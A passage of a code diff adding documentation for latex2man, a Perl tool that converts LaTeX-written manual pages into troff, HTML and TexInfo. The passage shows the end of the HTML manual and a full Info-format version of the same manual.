    If TexInfo output is generated, causes a linebreak (i.e. is +equivalent to \\),otherwise ignored. +
    +
    \MANbr
    +
    If Man-Page output is generated, causes a linebreak (i.e. is +equivalent to \\),otherwise ignored. +
    +
    \HTMLbr
    +
    If HTML output is generated, causes a linebreak (i.e. is +equivalent to \\),otherwise ignored. +
    +
    \medskip
    +
    An empty line. +
    +
    \SP
    +
    Produces some extra space, works also at the beginning of lines. +The code of the second line looks like: +\SP abc \SP\SP xx\\:
    + +abc       xx
    + +  abc     xx
    + +    abc   xx +

    +Note: Due to some ``problems'' with TexInfo, the lines starting with +\SP +have a leading . (dot) in the TexInfo output, +see -achar. +

    +
    +

    +

    Accepted Macros from the rcsinfo Package

    + +

    +

    +
    \rcsInfo $Id ...$
    +
    if the LaTeX package rcsinfo +is used, +this command is used to extract the date of the Man-page. +
    +
    \rcsInfoLongDate
    +
    if the LaTeX package rcsinfo +is used, this +command is used to typeset the date coded in the $Id ..$ string. +
    +
    +

    +

    Accepted LaTeX Macros

    + +

    +The following standard LaTeX commands are accepted: +

    +
    \section{..}
    +
    The section +macro takes one argument: the +name of the Man-page section. Each Man-page consists of several sections. +Usually there are the following sections in a Man-page: Name +(special handling as environment, c.f. above), Synopsis, +Description, +Options, +Files, +See Also, +Diagnostics, +Return Values, +Bugs, +Author, +version, +etc. +

    +Synopsis +must be the first section after the Name +environment. +

    +Note: Do not use LaTeX-macrosin section names. +

    +
    \subsection{..}
    +
    works as well as +
    +
    \subsubsection{..}
    +
    those. +
    +
    \emph{..}
    +
    \emph{example} is typeset as example. +
    +
    \textbf{..}
    +
    \textbf{example} is typeset as example. +
    +
    \texttt{..}
    +
    \textt{example} is typeset as example. +
    +
    \underline{..}
    +
    \underline{example} is typeset as +example of underline. +
    +
    \date{..}
    +
    uses .. as date. +
    +
    \verb+..+
    +
    but only + is allowed as delimiter. +
    +
    $<$
    +
    is typeset as <. +
    +
    $>$
    +
    is typeset as >. +
    +
    $<=$
    +
    is typeset as <=. +
    +
    $>=$
    +
    is typeset as >=. +
    +
    $=$
    +
    is typeset as =. +
    +
    $<>$
    +
    is typeset as <>. +
    +
    $\ge$
    +
    is typeset as $>$. +
    +
    $\le$
    +
    is typeset as $<=$. +
    +
    $\leftarrow$
    +
    is typeset as $<--$. +
    +
    $\Leftarrow$
    +
    is typeset as $<==$. +
    +
    $\rightarrow$
    +
    is typeset as $-->$. +
    +
    $\Rightarrow$
    +
    is typeset as $==>$. +
    +
    \{
    +
    is typeset as {. +
    +
    \}
    +
    is typeset as }. +
    +
    \$
    +
    is typeset as $. +
    +
    \$
    +
    is typeset as $,should be used inside macro +arguments. +
    +
    \_
    +
    is typeset as _. +
    +
    \&
    +
    is typeset as &. +
    +
    \#
    +
    is typeset as #. +
    +
    \%
    +
    is typeset as %. +
    +
    \,
    +
    is typeset as smaller blank - - (between the two -) +
    +
    \-
    +
    is used to mark hyphenation in a word. +
    +
    \\
    +
    is typeset as a linebreak or marks the end of a column in the +Table +environment. +
    +
    \
    +
    (a \ followed by a blank) is typeset as a blank, +although it cannot be used at the beginning of a line to make indentation +(see the \SP +command). +
    +
    ~
    +
    is typeset as a blank. +
    +
    \copyright
    +
    is typeset as ©. +
    +
    \noindent
    +
    +
    +
    \hline
    +
    inside a Table +environment. +
    +
    \item
    +
    inside a itemize, +enumerate, +or +description +environment. +
    +
    \today
    +
    12 September 2005 (see also the rcsinfo +LaTeXpackage). +
    +
    \ss,\"a, ...
    +
    \ss = ß, \"a= ä, \"o= ö, \"u= ü, +\"A= Ä, \"O= Ö, \"U= Ü. It is allowed to surround these +macros in { and } in all places, even inside other macros, e.g. +
    +     \textbf{\"a\"o\"u\"A\"O\"U\ss}
    +     \textbf{\"a}{\"o}{\"u}{\"A}{\"O}{\"U}{\ss}}
    +     \textbf{}
    +
    +

    +äöüÄÖÜß äöüÄÖÜß äöüÄÖÜß +

    +If these letters are used in their LATIN-1 8-bit coding, they are +translated into the equivalent letter of the desired output format. +E.g. Ä +becomes &Auml; +in HTML and @"A +in texinfo. +

    +
    +

    +

    Conditional Text

    + +

    +latex2man +preprocesses the LaTeX input to allow text to be used +conditionally. A special sort of LaTeX comment is used for that purpose. +

      +
    • %@% IF condition %@% +
    • +
    • %@% ELSE %@% +
    • +
    • %@% END-IF %@% +
    • +
    +

    +A line must contain only such a comment and nothing else. condition +is +a boolean expression containing ``names'' and operators. The names given with +the -Cname +option have the value ``true'', while all other names +occuring in the expression are assumed to be ``false''. If the evaluation of +the boolean expression results in the value ``true'', the text in the +``then''-part is used and the text in the optional ``else''-part is skipped +(and vice versa). The IF/ELSE/END-IF +may be nested. As boolean +operators the following are allowed: +

    + + + + + + + + + + + + + +
    || boolean or
    && boolean and
    ! negation +
    +

    +( and ) for grouping are allowed. +

    +For example:
    + +%@% IF abc %@%
    + +abc set
    + +%@% IF xyz %@%
    + +xyz set
    + +%@% ELSE %@%
    + +xyz NOT set
    + +%@% END-IF %@%
    + +%@% ELSE %@%
    + +abc NOT set
    + +%@% IF xyz || !XYZ %@%
    + +xyz OR !XYZ set
    + +%@% ELSE %@%
    + +xyz OR !XYZ NOT set
    + +%@% END-IF %@%
    + +%@% END-IF %@% +

    +Run this manual page through latex2man +with e.g. +-C'abc XYZ' +and have a look to the generated output. +(If simply running the LaTeX-document through LaTeX,all lines are shown in the +.dvi file).
    + +abc NOT set
    + +xyz OR !XYZ set
    + +

    +To check the conditional text feature, when latex2man +is called with +

    +
    -CHTML +
    +
    the lines 1a, 2b, 3b, and 4b; +
    +
    -CTEXI +
    +
    the lines 1b, 2a, 3b, and 4b; +
    +
    -CMAN +
    +
    the lines 1b, 2b, 3a, and 4b; +
    +
    -CLATEX +
    +
    the lines 1b, 2b, 3b, and 4a; +
    +
    calling LaTeX without preprocessing
    +
    all lines +
    +
    +should be shown: +

    +1a. This text occurs only when viewing the HTML output. +

    +2b. The TEXI conditional was not set. +

    +3b. The MAN conditional was not set. +

    +4b. The LATEX conditional was not set. +

    +

    Translation of User Defined Macros

    + +

    +The user macro translation file (given by the [-ttransfile]) +contains +Perl +commands specifying the translation of LaTeX macros defined by +the user. These macros may have none, one or two arguments. The following code +is expected: +

    +

      +
    • Comments start with a # up to the end of the line. +
    • +
    • For a macro \foo with no arguments, the following code must be +specified: +
      +
      Translation to Man-Pages
      +
      +$manMacro{'foo'} = '...'; +
      +
      Translation to HTML
      +
      +$htmlMacro{'foo'} = '...'; +
      +
      Translation to TexInfo
      +
      +$texiMacro{'foo'} = '...'; +
      +
      +

      +where ... is the translation. +

      +

    • +
    • For a macro \foo{..} with one argument, the following code must be +specified: +
      +
      Translation to Man-Pages
      +
      +$manMacro1a{'foo'} = '...';
      + +$manMacro1b{'foo'} = '...'; +
      +
      Translation to HTML
      +
      +$htmlMacro1a{'foo'} = '...';
      + +$htmlMacro1b{'foo'} = '...'; +

      +

      +
      Translation to TexInfo
      +
      +$texiMacro1a{'foo'} = '...';
      + +$texiMacro1b{'foo'} = '...'; +
      +
      +

      +where ... is the translation. The 1a code is used before the +argument, while 1b is typeset after the argument is set. +

      +

    • +
    • For a macro \foo{..}{..} with two arguments, the following code +must be specified: +
      +
      Translation to Man-Pages
      +
      +$manMacro2a{'foo'} = '...';
      + +$manMacro2b{'foo'} = '...';
      + +$manMacro2c{'foo'} = '...'; +
      +
      Translation to HTML
      +
      +$htmlMacro2a{'foo'} = '...';
      + +$htmlMacro2b{'foo'} = '...';
      + +$htmlMacro2c{'foo'} = '...'; +
      +
      Translation to TexInfo
      +
      +$texiMacro2a{'foo'} = '...';
      + +$texiMacro2b{'foo'} = '...';
      + +$texiMacro2c{'foo'} = '...'; +
      +
      +

      +where ... is the translation. The 2a code is used before the +first argument, 2b between the two arguments and 2c is +typeset after the second argument is set. +

    • +
    • The file latex2man.trans contains some example code. +
    • +
    +

    +

    Verbatim Environment

    + +

    +

    +This
    +    {is}
    +        \texttt{a}
    +                  $test$
    +                         _of_
    +verbatim
    +<this is no HTML tag> and no @* TexInfo command
    +
    +

    +

    Subsection works

    + +

    +This is a \subsection. +

    +

    Subsubsection works
    + +

    +This is a \subsubsection. +

    +

    Subsubsection still works
    + +

    +This is another \subsubsection. +

    +

    General Remarks

    + +

    +

      +
    1. Empty lines are typeset as paragraph separators. +
    2. +
    3. The arguments of the LaTeX commands must not be split over several +lines. +
    4. +
    5. Do not nest calls to macros. +
    6. +
    7. Except the mentioned environment and macros, the usage of other LaTeX +environments or macros are not translated. Their usage will cause garbage +in the output. +
    8. +
    9. latex2man requires Perl version >= 5.0004_03. +
    10. +
    11. If you want to install the system with the distributed Makefile, +you need GNU-make. +If you don't have it, you should execute the +steps shown in the Makefile +manually. +
    12. +
    +

    +

    Some Bug Fix Tests

    + +

    +

    +
    Leading . and '
    +
    +Now leading . and ' in generation troff output should work propperly, +since a \& is added. Therfore the \Dot macro has been deleted.
    + +Thanks to Frank.Schilder@Mathematik.Tu-Ilmenau.De.
    + +Testcase 1: +
    +
    '\n'
    +
    ... +
    +
    +Testcase 2:
    + +.foobar +Testcase 3:
    + +...

    +abc ...abc . efg ' 123 +

    +

    +
    % in verbatim
    +
    A % in a \verb and verbatim-environment was not +emitted correctly. Thanks to Aleksey Nogin nogin@cs.caltech.edu +for the bug report and bug fix. +

    +% abc +

    +

    +   % abc %
    +
    +

    +but ignore comments following this: +

    +

    +
    +

    +

    Requirements

    + +

    +

    +
    Perl
    +
    latex2man +requires Perl version >= 5.0004_03. +
    +
    Make
    +
    If you want to install the system with the distributed +Makefile, +you need GNU-make. +If you don't have it, you +should execute the steps shown in the Makefile +manually. +
    +
    LaTeX
    +
    LaTeX2e is required. +
    +
    +

    +

    Changes

    + +Please check the file latex2man-CHANGES +for the list of changes. +

    +

    Version

    + +

    +Version: 1.19 of 2005/09/12. +

    +

    License and Copyright

    + +

    +

    +
    Copyright
    +
    © 1998, Dr. Jürgen Vollmer, Viktoriastraße 15, +D-76133 Karlsruhe, Germany, Juergen.Vollmer@informatik-vollmer.de +

    +The actual version of Latex2man +may be found on my homepage
    + +http://www.informatik-vollmer.de/software/latex2man. +

    +

    +
    License
    +
    This program can be redistributed and/or modified under the +terms of the LaTeX Project Public License Distributed from CTAN archives +in directory macros/latex/base/lppl.txt; +either version 1 of the +License, or any later version. +

    +

    +
    Misc
    +
    If you find this software useful, please send me a postcard from +the place where you are living. +
    +
    +

    +

    Author

    + +

    +Dr. Jürgen Vollmer
    + +Viktoriastraße 15
    + +D-76133 Karlsruhe
    + +Email: Juergen.Vollmer@informatik-vollmer.de +
    +WWW: http://www.informatik-vollmer.de. +

    + + + diff --git a/docs/latex2man/latex2man.info b/docs/latex2man/latex2man.info new file mode 100644 index 0000000..c8155aa --- /dev/null +++ b/docs/latex2man/latex2man.info @@ -0,0 +1,926 @@ +Dies ist latex2man.info, hergestellt von Makeinfo Version 4.8 aus +latex2man.texi. + +INFO-DIR-SECTION Man-pages +START-INFO-DIR-ENTRY +* Latex2man: (latex2man). Its Man-Page +END-INFO-DIR-ENTRY + + +File: latex2man.info, Node: Top, Next: Description, Prev: (dir), Up: (dir) + +latex2man +********* + +Latex2man is a tool to translate UNIX manual pages written with +LaTeXinto a format understood by the UNIX man(1)-command. +Alternatively HTML, TexInfo, or LaTeX code can be produced too. Output +of parts of the text may be suppressed using the conditional text +feature (for this, LaTeX generation may be used). + +Synopsis +======== + +latex2man [ -tTRANSFILE ] [ -HMTL ] [ -h ] [ -V ] [ -CNAME ] +[ -aCHAR ] INFILE OUTFILE + +* Menu: + +* Description:: +* Options:: +* Files:: +* See Also:: +* LaTeX commands:: +* Package Options:: +* Package Specific Environments:: +* Accepted LaTeX Environments:: +* Package Specific Macros:: +* Accepted Macros from the rcsinfo Package:: +* Accepted LaTeX Macros:: +* Conditional Text:: +* Translation of User Defined Macros:: +* Verbatim Environment:: +* Subsection works:: +* Subsubsection works:: +* Subsubsection still works:: +* General Remarks:: +* Some Bug Fix Tests:: +* Requirements:: +* Changes:: +* Version:: +* License and Copyright:: +* Author:: + + +File: latex2man.info, Node: Description, Next: Options, Prev: Top, Up: Top + +Description +=========== + +Latex2man reads the file INFILE and writes OUTFILE. The input must be +a LaTeX document using the latex2man LaTeXpackage. Latex2man +translates that document into the troff(1) format using the -man macro +package. + + Using the -H option, HTML code can be produced, instead of troff(1). + + Using the -T option, TexInfo code can be produced, instead of +troff(1). + + Using the -M option, troff(1) input is produced. + + Using the -L option, LaTeX ouput can be produced, instead of +troff(1). + + +File: latex2man.info, Node: Options, Next: Files, Prev: Description, Up: Top + +Options +======= + +`-tTRANSFILE' + Translation for user defined LaTeX macros. + +`-M' + Produce output suitable for the man(1) command (default). + +`-H' + Instead of producing output suitable for the man(1) command, HTML + code is produced (despite the name of the command). + +`-T' + Instead of producing output suitable for the man(1) command, + TexInfo code is produced (despite the name of the command). The + generated `.texi'-file may be processed with makeinfo(1) (to + produce an `.info'-file) which in turn may be installed using + install-info(1). The Info tags @dircategory and @direntry are + provided. + +`-L' + The LaTeX source is written to the OUTFILE. This is useful in + conjunction with the -CNAME option. + +`-CNAME' + Output the conditional text for NAME. If more than one name + should be given use quotes: -C'NAME1 NAME2 ...' + The following names are defined automatically: + * -H defines HTML + + * -T defines TEXI + + * -M defines MAN + + * -L defines LATEX + +`-aCHAR' + Is used only in conjunction with -T. + Background: + TexInfo ignores all blanks before the first word on a new line. In + order to produce some additional space before that word (using + \SP) some character has to be printed before the additional space. + By default this is a . (dot). The CHAR specifies an alternative + for that first character. Giving a blank to -a supresses the + indentation of a line. + Note: only for the first \SP of a series that CHAR is printed. + +`-h' + Show a help text. + +`-V' + Show version information. + + +File: latex2man.info, Node: Files, Next: See Also, Prev: Options, Up: Top + +Files +===== + +``latex2man.tex'' + The LaTeX file containing this Man-page. + +``latex2man.sty'' + The LaTeX package defining the environments and commands. + +``latex2man.cfg'' + The configuration file for Latex2man LaTeX-package. + +``latex2man.trans'' + File containing example translations of user defined LaTeX macros. + +``fancyheadings.sty'' + A LaTeX package used to typeset head- and foot lines. + +``fancyhdr.sty'' + A LaTeX package used to typeset head- and foot lines. + +``rcsinfo.sty'' + A LaTeX package used to extract and use RCS version control + information in LaTeX documents. + + +File: latex2man.info, Node: See Also, Next: LaTeX commands, Prev: Files, Up: Top + +See Also +======== + +LaTeX,TexInfo, troff(1), groff(1), makeinfo(1). + + +File: latex2man.info, Node: LaTeX commands, Next: Package Options, Prev: See Also, Up: Top + +LaTeX commands +============== + +The LaTeX package latex2man is used to write the Man-pages with +LaTeX.Since we translate into other text formats, not all LaTeX stuff +can be translated. + + +File: latex2man.info, Node: Package Options, Next: Package Specific Environments, Prev: LaTeX commands, Up: Top + +Package Options +--------------- + +The latex2man package accepts the following options: + +`fancy' + use the LaTeX package fancyheadings. + +`fancyhdr' + use the LaTeX package fancyhdr. + +`nofancy' + neither the LaTeX package fancyheadings nor fancyhdr are used. + + The default option may be specified in the file latex2man.cfg. + + +File: latex2man.info, Node: Package Specific Environments, Next: Accepted LaTeX Environments, Prev: Package Options, Up: Top + +Package Specific Environments +----------------------------- + +The following environments are provided by the package: +`\begin{Name}{chapter}{name}{author}{info}{title}' + The Name environment takes five arguments: 1. the Man-page + chapter, 2. the name of the Man-page, 3. the author, 4. some + short information about the tool printed in the footline of the + Man-page, and 5. a text which is used as title, for HTML and + LaTeX (it's ignored for output of the Man-page or TeXinfo. The Name + environment must be the first environment in the document. + Processing starts with this environment. Any text before this is + ignored (exception: the setVersion and setDate commands). (Note: + all arguments of \begin{Name} must be written on one line). + +`\begin{Table}{columns}' + The Table environment takes one argument: the number of columns. + For example: + + \begin{Table}{3} + Here & am & I \\\hline + A 1 & A 2 & A 3 \\ + B 1 & B 2 & B 3 \\ + \end{Table} + + will be typeset as: + + Here am I + A 1 A 2 A 3 + B 1 B 2 B 3 + + \hline may be used. All entries are typeset left justified. If the + Man-page is formatted with troff(1) and tables are used, the tbl(1) + preprocessor should be called, usually by giving a -t to the call + of troff(1). When viewing the generated manula page using man(1), + tbl(1) is called automatically. + +`\begin{Description}' + is the same as \begin{description} + +`\begin{Description}[label]' + is similar to \begin{description}, but the item labels have at + minimum the size of the (optional) word _label_. The difference + is visible only in the DVI and PDF-output, not in the troff, + TexInfo or HTML output. + `a' + |a \begin{description} + + `ab' + |ab + + `abc' + |abc + + `a' + |a \begin{Description} + + `ab' + |ab + + `abc' + |abc + + `a' + |a \begin{Description}[aa] + + `ab' + |ab + + `abc' + |abc + + +File: latex2man.info, Node: Accepted LaTeX Environments, Next: Package Specific Macros, Prev: Package Specific Environments, Up: Top + +Accepted LaTeX Environments +--------------------------- + +The following environments are accepted: + * description + + * enumerate + + * itemize + + * verbatim + + * center + + They may be nested: + * Itemize and nested center: + + A centered line. + Another centered line. + + * Another item an nested enumerate + 1. a + + 2. b + + +File: latex2man.info, Node: Package Specific Macros, Next: Accepted Macros from the rcsinfo Package, Prev: Accepted LaTeX Environments, Up: Top + +Package Specific Macros +----------------------- + +The following commands are provided: +`\Opt{option}' + Option: \Opt{-o} will be typeset as -o. + +`\Arg{argument}' + Argument: \Arg{filename} will be typeset as FILENAME. + +`\OptArg{option}{argument}' + Option with Argument: + \OptArg{-o}{filename} will be typeset as -oFILENAME. + +`\OptoArg{option}{argument}' + Option with optional Argument: + \OptoArg{-o}{filename} will be typeset as -o[FILENAME]. + +`\oOpt{option}' + Optional option, e.g. \oOpt{-o} will be typeset as [ -o ]. + +`\oArg{argument}' + Optional argument, e.g. \oArg{filename} will be typeset as [ + FILENAME ]. + +`\oOptArg{option}{argument}' + Optional option with argument, e.g. + \oOptArg{-o}{filename} will be typeset as [ -oFILENAME ]. + +`\oOptoArg{option}{argument}' + Optional option with optional argument, e.g. + \oOptoArg{-o}{filename} will be typeset as [ -o[FILENAME] ]. + +`\File{filename}' + used to typeset filenames, e.g. \File{filename} will be typeset + as `filename'. + +`\Prog{prog}' + used to typeset program names, e.g. \Prog{latex2man} will be + typeset as latex2man. + +`\Cmd{command}{chapter}' + used to typeset references to other commands, e.g. + \Cmd{latex2man}{1} will be typeset as latex2man(1). + +`\Bar' + is typeset as |. + +`\Bs' + (BackSlash) is typeset as \. + +`\Tilde' + is typeset as a ~. + +`\Dots' + is typeset as ... + +`\Bullet' + us typeset as *. + +`\setVersion{..}' + set .. as version information. + +`\setVersionWord{..}' + set .. for the word _Version:_ in the footline. The default is + \setVersionWord{Version:}. + +`\Version' + returns the version information. + +`\setDate{..}' + sets .. as date information. + +`\Date' + returns the date information. + +`\Email{..}' + use to mark an Email address: + \Email{Juergen.Vollmer@informatik-vollmer.de} is typeset as: + . + +`\URL{..}' + use to mark an URL: \URL{http://www.foo.de/\Tilde vollmer} is + typeset as `http://www.foo.de/~vollmer'. + +`\LatexManEnd' + the input file is read and processed until reading end-of-file or + \LatexManEnd (at the beginning of a line). LaTeXignores this + command. + +`\Lbr, \Rbr' + is typeset as [ and ] (these variants are needed only somtimes + like in item[FooBar\LBr xx \Lbr]. Usually [ ] will work. + +`\LBr, \RBr' + is typeset as { and } (these variants are needed when using { or } + as arguments to macros. + +`\Circum' + is typeset as ^. + +`\Percent' + is typeset as %. + +`\TEXbr' + If processed with LaTeX causes a linebreak (i.e. is equivalent to + \\).In the output of latex2man this macro is ignored. + +`\TEXIbr' + If TexInfo output is generated, causes a linebreak (i.e. is + equivalent to \\),otherwise ignored. + +`\MANbr' + If Man-Page output is generated, causes a linebreak (i.e. is + equivalent to \\),otherwise ignored. + +`\HTMLbr' + If HTML output is generated, causes a linebreak (i.e. is + equivalent to \\),otherwise ignored. + +`\medskip' + An empty line. + +`\SP' + Produces some extra space, works also at the beginning of lines. + The code of the second line looks like: \SP abc \SP\SP xx\\: + abc xx + . abc xx + . . abc xx + + Note: Due to some "problems" with TexInfo, the lines starting with + \SP have a leading . (dot) in the TexInfo output, see -aCHAR. + + +File: latex2man.info, Node: Accepted Macros from the rcsinfo Package, Next: Accepted LaTeX Macros, Prev: Package Specific Macros, Up: Top + +Accepted Macros from the rcsinfo Package +---------------------------------------- + +`\rcsInfo $Id ...$' + if the LaTeX package `rcsinfo' is used, this command is used to + extract the date of the Man-page. + +`\rcsInfoLongDate' + if the LaTeX package `rcsinfo' is used, this command is used to + typeset the date coded in the $Id ..$ string. + + +File: latex2man.info, Node: Accepted LaTeX Macros, Next: Conditional Text, Prev: Accepted Macros from the rcsinfo Package, Up: Top + +Accepted LaTeX Macros +--------------------- + +The following standard LaTeX commands are accepted: +`\section{..}' + The section macro takes one argument: the name of the Man-page + section. Each Man-page consists of several sections. Usually + there are the following sections in a Man-page: _Name_ (special + handling as environment, c.f. above), _Synopsis_, _Description_, + _Options_, _Files_, _See Also_, _Diagnostics_, _Return Values_, + _Bugs_, _Author_, _version_, etc. + + _Synopsis_ must be the first section after the Name environment. + + Note: Do not use LaTeX-macrosin section names. + +`\subsection{..}' + works as well as + +`\subsubsection{..}' + those. + +`\emph{..}' + \emph{example} is typeset as _example_. + +`\textbf{..}' + \textbf{example} is typeset as *example*. + +`\texttt{..}' + \textt{example} is typeset as example. + +`\underline{..}' + \underline{example} is typeset as example of underline. + +`\date{..}' + uses .. as date. + +`\verb+..+' + but only + is allowed as delimiter. + +`$<$' + is typeset as <. + +`$>$' + is typeset as >. + +`$<=$' + is typeset as <=. + +`$>=$' + is typeset as >=. + +`$=$' + is typeset as =. + +`$<>$' + is typeset as <>. + +`$\ge$' + is typeset as $>=$. + +`$\le$' + is typeset as $<=$. + +`$\leftarrow$' + is typeset as $<-$. + +`$\Leftarrow$' + is typeset as $<==$. + +`$\rightarrow$' + is typeset as $->$. + +`$\Rightarrow$' + is typeset as $==>$. + +`\{' + is typeset as {. + +`\}' + is typeset as }. + +`\$' + is typeset as $. + +`\$' + is typeset as $,should be used inside macro arguments. + +`\_' + is typeset as _. + +`\&' + is typeset as &. + +`\#' + is typeset as #. + +`\%' + is typeset as %. + +`\,' + is typeset as smaller blank - - (between the two -) + +`\-' + is used to mark hyphenation in a word. + +`\\' + is typeset as a linebreak or marks the end of a column in the Table + environment. + +`\' + (a \ followed by a blank) is typeset as a blank, although it + cannot be used at the beginning of a line to make indentation (see + the \SP command). + +`~' + is typeset as a blank. + +`\copyright' + is typeset as (C). + +`\noindent' + +`\hline' + inside a Table environment. + +`\item' + inside a itemize, enumerate, or description environment. + +`\today' + 12 September 2005(see also the rcsinfo LaTeXpackage). + +`\ss,\"a, ...' + \ss = ss, \"a= a", \"o= o", \"u= u", \"A= A", \"O= O", \"U= U". It + is allowed to surround these macros in { and } in all places, even + inside other macros, e.g. + . \textbf{\"a\"o\"u\"A\"O\"U\ss} + . \textbf{\"a}{\"o}{\"u}{\"A}{\"O}{\"U}{\ss}} + . \textbf{} + *a"o"u"A"O"U"ss a"o"u"A"O"U"ss a"o"u"A"O"U"ss* + + If these letters are used in their LATIN-1 8-bit coding, they are + translated into the equivalent letter of the desired output format. + E.g. A" becomes Ä in HTML and @"A in texinfo. + + +File: latex2man.info, Node: Conditional Text, Next: Translation of User Defined Macros, Prev: Accepted LaTeX Macros, Up: Top + +Conditional Text +---------------- + +latex2man preprocesses the LaTeX input to allow text to be used +conditionally. A special sort of LaTeX comment is used for that purpose. + * %@% IF _condition_ %@% + + * %@% ELSE %@% + + * %@% END-IF %@% + + A line must contain only such a comment and nothing else. _condition_ +is a boolean expression containing "names" and operators. The names +given with the -CNAME option have the value "true", while all other +names occuring in the expression are assumed to be "false". If the +evaluation of the boolean expression results in the value "true", the +text in the "then"-part is used and the text in the optional +"else"-part is skipped (and vice versa). The IF/ELSE/END-IF may be +nested. As boolean operators the following are allowed: + +|| boolean or +&& boolean and +! negation + + ( and ) for grouping are allowed. + +For example: +%@% IF abc %@% +abc set +%@% IF xyz %@% +xyz set +%@% ELSE %@% +xyz NOT set +%@% END-IF %@% +%@% ELSE %@% +abc NOT set +%@% IF xyz || !XYZ %@% +xyz OR !XYZ set +%@% ELSE %@% +xyz OR !XYZ NOT set +%@% END-IF %@% +%@% END-IF %@% + +Run this manual page through latex2man with e.g. -C'ABC XYZ' and have +a look to the generated output. (If simply running the LaTeX-document +through LaTeX,all lines are shown in the .dvi file). +abc NOT set +xyz OR !XYZ set +To check the conditional text feature, when latex2man is called with +`-CHTML' + the lines 1a, 2b, 3b, and 4b; + +`-CTEXI' + the lines 1b, 2a, 3b, and 4b; + +`-CMAN' + the lines 1b, 2b, 3a, and 4b; + +`-CLATEX' + the lines 1b, 2b, 3b, and 4a; + +`calling LaTeX without preprocessing' + all lines + should be shown: + + 1b. The HTML conditional was not set. + + 2a. This text occurs only when viewing the TEXI output + + 3b. The MAN conditional was not set. + + 4b. The LATEX conditional was not set. + + +File: latex2man.info, Node: Translation of User Defined Macros, Next: Verbatim Environment, Prev: Conditional Text, Up: Top + +Translation of User Defined Macros +---------------------------------- + +The user macro translation file (given by the [ -tTRANSFILE ]) contains +Perl commands specifying the translation of LaTeX macros defined by the +user. These macros may have none, one or two arguments. The following +code is expected: + + * Comments start with a # up to the end of the line. + + * For a macro \foo with no arguments, the following code must be + specified: + `Translation to Man-Pages' + $manMacro{'foo'} = '...'; + + `Translation to HTML' + $htmlMacro{'foo'} = '...'; + + `Translation to TexInfo' + $texiMacro{'foo'} = '...'; + + where ... is the translation. + + * For a macro \foo{..} with one argument, the following code must be + specified: + `Translation to Man-Pages' + $manMacro1a{'foo'} = '...'; + $manMacro1b{'foo'} = '...'; + + `Translation to HTML' + $htmlMacro1a{'foo'} = '...'; + $htmlMacro1b{'foo'} = '...'; + + `Translation to TexInfo' + $texiMacro1a{'foo'} = '...'; + $texiMacro1b{'foo'} = '...'; + + where ... is the translation. The 1a code is used before the + argument, while 1b is typeset after the argument is set. + + * For a macro \foo{..}{..} with two arguments, the following code + must be specified: + `Translation to Man-Pages' + $manMacro2a{'foo'} = '...'; + $manMacro2b{'foo'} = '...'; + $manMacro2c{'foo'} = '...'; + + `Translation to HTML' + $htmlMacro2a{'foo'} = '...'; + $htmlMacro2b{'foo'} = '...'; + $htmlMacro2c{'foo'} = '...'; + + `Translation to TexInfo' + $texiMacro2a{'foo'} = '...'; + $texiMacro2b{'foo'} = '...'; + $texiMacro2c{'foo'} = '...'; + + where ... is the translation. The 2a code is used before the first + argument, 2b between the two arguments and 2c is typeset after the + second argument is set. + + * The file `latex2man.trans' contains some example code. + + +File: latex2man.info, Node: Verbatim Environment, Next: Subsection works, Prev: Translation of User Defined Macros, Up: Top + +Verbatim Environment +-------------------- + +.This +. {is} +. \texttt{a} +. $test$ +. _of_ +.verbatim +. and no @* TexInfo command + +File: latex2man.info, Node: Subsection works, Next: Subsubsection works, Prev: Verbatim Environment, Up: Top + +Subsection works +---------------- + +This is a \subsection. + + +File: latex2man.info, Node: Subsubsection works, Next: Subsubsection still works, Prev: Subsection works, Up: Top + +Subsubsection works +................... + +This is a \subsubsection. + + +File: latex2man.info, Node: Subsubsection still works, Next: General Remarks, Prev: Subsubsection works, Up: Top + +Subsubsection still works +......................... + +This is another \subsubsection. + + +File: latex2man.info, Node: General Remarks, Next: Some Bug Fix Tests, Prev: Subsubsection still works, Up: Top + +General Remarks +--------------- + + 1. Empty lines are typeset as paragraph separators. + + 2. The arguments of the LaTeX commands must not be split over several + lines. + + 3. Do not nest calls to macros. + + 4. Except the mentioned environment and macros, the usage of other + LaTeX environments or macros are not translated. Their usage will + cause garbage in the output. + + 5. latex2man requires Perl version >= 5.0004_03. + + 6. If you want to install the system with the distributed `Makefile', + you need GNU-make. If you don't have it, you should execute the + steps shown in the `Makefile' manually. + + +File: latex2man.info, Node: Some Bug Fix Tests, Next: Requirements, Prev: General Remarks, Up: Top + +Some Bug Fix Tests +------------------ + +`Leading . and '' + Now leading . and ' in generation troff output should work + propperly, since a \& is added. Therfore the \Dot macro has been + deleted. + Thanks to . + Testcase 1: + `'\n'' + ... + Testcase 2: + `.foobar' Testcase 3: + ... abc ...abc . efg ' 123 + +`% in verbatim' + A % in a \verb and verbatim-environment was not emitted correctly. + Thanks to Aleksey Nogin for the bug report + and bug fix. + + % abc + + . % abc % + but ignore comments following this: + + + +File: latex2man.info, Node: Requirements, Next: Changes, Prev: Some Bug Fix Tests, Up: Top + +Requirements +============ + +`Perl' + latex2man requires Perl version >= 5.0004_03. + +`Make' + If you want to install the system with the distributed `Makefile', + you need GNU-make. If you don't have it, you should execute the + steps shown in the `Makefile' manually. + +`LaTeX' + LaTeX2e is required. + + +File: latex2man.info, Node: Changes, Next: Version, Prev: Requirements, Up: Top + +Changes +======= + +Please check the file `latex2man-CHANGES' for the list of changes. + + +File: latex2man.info, Node: Version, Next: License and Copyright, Prev: Changes, Up: Top + +Version +======= + +Version: 1.19 of 2005/09/12. + + +File: latex2man.info, Node: License and Copyright, Next: Author, Prev: Version, Up: Top + +License and Copyright +===================== + +`Copyright' + (C)1998, Dr. Ju"rgen Vollmer, Viktoriastrasse 15, D-76133 + Karlsruhe, Germany, + + The actual version of Latex2man may be found on my homepage + `http://www.informatik-vollmer.de/software/latex2man'. + +`License' + This program can be redistributed and/or modified under the terms + of the LaTeX Project Public License Distributed from CTAN archives + in directory `macros/latex/base/lppl.txt'; either version 1 of the + License, or any later version. + +`Misc' + If you find this software useful, please send me a postcard from + the place where you are living. + + +File: latex2man.info, Node: Author, Prev: License and Copyright, Up: Top + +Author +====== + +Dr. Ju"rgen Vollmer +Viktoriastrasse 15 +D-76133 Karlsruhe +Email: +WWW: `http://www.informatik-vollmer.de'. + + + +Tag Table: +Node: Top190 +Node: Description1257 +Node: Options1855 +Node: Files3560 +Node: See Also4248 +Node: LaTeX commands4404 +Node: Package Options4687 +Node: Package Specific Environments5139 +Node: Accepted LaTeX Environments7391 +Node: Package Specific Macros7923 +Node: Accepted Macros from the rcsinfo Package11498 